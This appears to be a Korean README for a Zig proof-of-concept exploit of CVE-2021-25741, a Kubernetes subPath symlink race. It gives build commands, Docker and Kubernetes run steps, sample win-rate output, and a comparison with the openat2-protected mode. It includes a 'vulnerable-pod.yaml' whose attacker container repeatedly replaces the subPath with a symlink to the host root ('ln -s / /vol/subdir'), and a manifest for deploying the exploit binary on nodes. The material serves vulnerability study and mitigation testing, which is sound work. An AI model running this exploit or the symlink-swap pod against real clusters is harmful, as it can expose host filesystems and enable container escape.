1. CHECK : lstat(subPath) → "디렉터리이므로 안전함"
     ↕ 경쟁 조건 창 — 컨테이너 내 프로세스가 디렉터리를 심볼릭 링크로 교체
2. USE   : mount(subPath) → 심볼릭 링크를 따라 호스트 파일 시스템 마운트

workdir/
├── legit_dir/
│   └── secret.txt  → 내용: "LEGIT"
├── symlink_target/
│   └── secret.txt  → 내용: "PWNED"
└── target/          → 실제 디렉터리와 심볼릭 링크 사이에서 교체됨

src/
├── main.zig       # 진입점: CLI 파싱, 공유 상태 생성, 스레드 생성,
│                  # 시간 측정, 결과 출력
│
├── racer.zig      # Racer 스레드: 초기 상태 준비 (target → symlink),
│                  # 그 다음 renameat2(RENAME_EXCHANGE) 루프로
│                  # target/과 legit_dir/을 계속 교체
│
├── victim.zig     # Victim 스레드: N번 반복하며 fstatat → 지연 →
│                  # openat/openat2 → read → "LEGIT" vs "PWNED" 비교
│
├── setup.zig      # 테스트 디렉터리 구조 생성: workdir/, legit_dir/,
│                  # symlink_target/, target/ 및 감시 파일
│
├── syscalls.zig   # 원시 시스템 콜에 대한 상수와 래퍼:
│                  # - open_how 구조체 (커널 UAPI, 3×u64)
│                  # - RESOLVE_* 플래그
│                  # - RENAME_EXCHANGE (= 2)
│                  # - linux.syscall4(.openat2, ...)를 통한 openat2()
│                  # - linux.renameat2()를 통한 rename_exchange()
│                  # - 도우미: is_err(), to_errno(), to_fd()
│
└── stats.zig      # 잠금 없는 원자적 카운터 (std.atomic.Value(u64))
                   # 승리, 패배, 오류, ELOOP 및 형식화된 출력

# ARM64 (Mac M1/M2/M3 → Docker colima / EC2 ARM)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe

# x86_64 (x86 노드용)
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe

$ file zig-out/bin/race-exploit
ELF 64-bit LSB executable, ARM aarch64, statically linked

# Docker 런타임 시작 (macOS인 경우)
colima start

# 익스플로잇 실행 (기본 취약 모드)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine /app/race-exploit --iterations 10000

# 취약 모드 (openat) — 경쟁 조건 작동
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 10000

# 보호 모드 (openat2) — 경쟁 조건 차단
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 10000 --use-openat2

./scripts/run_in_docker.sh --iterations 10000

# 지연 없음 — 승리율 ~25%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 50000

# 10µs — 승리율 ~35%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 50000 --delay-us 10

# 100µs — 승리율 ~50%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 50000 --delay-us 100

# 1000µs (1ms) — 승리율 ~50% (포화, racer가 훨씬 빠르게 교체)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 10000 --delay-us 1000

race-exploit [options]
  --iterations N     시도 횟수 (기본값: 10000)
  --delay-us N       lstat과 open 사이의 마이크로초 지연 (기본값: 0)
  --use-openat2      RESOLVE_*와 함께 openat2 사용 (보호 모드)
  --workdir PATH     작업 디렉터리 (기본값: /tmp/race-workdir)
  --help             도움말 표시

# 노드 아키텍처에 맞게 크로스 컴파일
# ARM64 (Graviton이 있는 EKS, T2A가 있는 GKE 등)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe

# 또는 x86_64
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe

# 바이너리를 노드에 복사
scp zig-out/bin/race-exploit user@node:/tmp/

# 노드에서 실행
ssh user@node /tmp/race-exploit --iterations 50000 --delay-us 100

# 커널 버전 확인 (openat2를 위해 >= 5.6)
ssh user@node uname -r

# race-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: race-exploit
spec:
  containers:
  - name: race
    image: alpine:latest
    command: ["/app/race-exploit"]
    args: ["--iterations", "50000", "--delay-us", "100"]
    volumeMounts:
    - name: exploit-bin
      mountPath: /app
  volumes:
  - name: exploit-bin
    hostPath:
      path: /tmp  # 바이너리를 미리 이 경로에 복사해야 함
  restartPolicy: Never

# 먼저 바이너리를 노드에 복사
kubectl cp zig-out/bin/race-exploit <node>:/tmp/race-exploit

# 파드 실행
kubectl apply -f race-pod.yaml
kubectl logs race-exploit

# vulnerable-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: subpath-race
spec:
  containers:
  - name: attacker
    image: alpine:latest
    command: ["/bin/sh", "-c"]
    args:
    - |
      # 이 스크립트는 컨테이너 내에서 실행되며 kubelet이 마운트를 준비하는 동안 subPath를 교체합니다
      while true; do
        rm -rf /vol/subdir
        ln -s / /vol/subdir
        mkdir -p /vol/subdir
      done
    volumeMounts:
    - name: shared-vol
      mountPath: /vol
      subPath: subdir  # ← kubelet이 이 경로를 확인한 다음 마운트합니다
  volumes:
  - name: shared-vol
    emptyDir: {}

# kubelet 버전
kubectl get nodes -o wide

# kubelet에서 openat2가 사용되는지 확인 (노드에서)
ssh user@node strace -f -e trace=openat2 -p $(pidof kubelet) 2>&1 | head -20

CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode:       openat (vulnerable)
Iterations: 10000
Delay:      0us
---
Results:
  Total attempts: 3749
  Race wins:      940 (25.07%)
  Race losses:    2809 (74.93%)
  Errors:         0 (0.00%)
  Duration:       14ms

CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode:       openat2 (protected)
Iterations: 10000
Delay:      0us
---
Results:
  Total attempts: 3105
  Race wins:      0 (0.00%)
  Race losses:    2283 (73.53%)
  Errors:         0 (0.00%)
  ELOOP (blocked): 822 (26.47%)
  Duration:       12ms

// renameat2(2) : 두 파일 시스템 항목의 원자적 교체
pub const RENAME_EXCHANGE: u32 = 2;

// openat2(2) : 시스템 콜에 전달되는 구조체
pub const open_how = extern struct {
    flags: u64 = 0,   // O_RDONLY, O_WRONLY 등
    mode: u64 = 0,    // 권한 (O_CREAT인 경우)
    resolve: u64 = 0, // RESOLVE_* 플래그
};

// open_how.resolve를 위한 해결 플래그
pub const RESOLVE_NO_SYMLINKS: u64 = 0x04; // 모든 심볼릭 링크 거부
pub const RESOLVE_BENEATH: u64 = 0x08;     // dirfd 위로 올라가는 것을 금지

반복 1: target=dir,     legit_dir=symlink  ← victim이 dir을 보고 정상적으로 열음
반복 2: target=symlink, legit_dir=dir      ← victim이 심볼릭 링크를 따라감 → PWNED

# 두 스레드의 모든 시스템 콜 추적
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  strace -f /app/race-exploit --iterations 100

# 관심 있는 시스템 콜만 필터링
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  strace -f -e trace=openat,renameat2,symlinkat,newfstatat \
  /app/race-exploit --iterations 100

# openat2의 ELOOP 확인
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  strace -f -e trace=openat2 \
  /app/race-exploit --iterations 100 --use-openat2

docker run --rm -v $(pwd)/zig-out/bin:/app alpine:edge \
  sh -c "apk add --no-cache strace && strace -f -e trace=openat,renameat2 /app/race-exploit --iterations 100"